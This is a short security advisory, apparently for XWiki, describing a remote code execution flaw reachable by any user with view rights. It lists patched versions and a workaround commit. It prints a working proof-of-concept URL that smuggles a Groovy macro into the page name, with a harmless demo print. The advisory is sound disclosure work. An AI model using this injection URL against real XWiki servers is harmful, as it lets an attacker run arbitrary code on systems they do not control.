### Impact Any user with view rights on any document can execute code with programming rights, leading to remote code execution by crafting an url with a dangerous payload. See the example below: Open `<xwiki-host>/xwiki/bin/view/%5D%5D%20%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%20%22%20%2B%20%22from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D?sheet=Invitation.InvitationGuestActions&xpage=view` where `<xwiki-host>` is the URL of your XWiki installation. ### Patches The problem as been patching on XWiki 15.0, 14.10.4 and 14.4.8. ### Workarounds It is possible to partially fix the issue by applying this [patch](https://github.com/xwiki/xwiki-platform/commit/b65220a4d86b8888791c3b643074ebca5c089a3a).
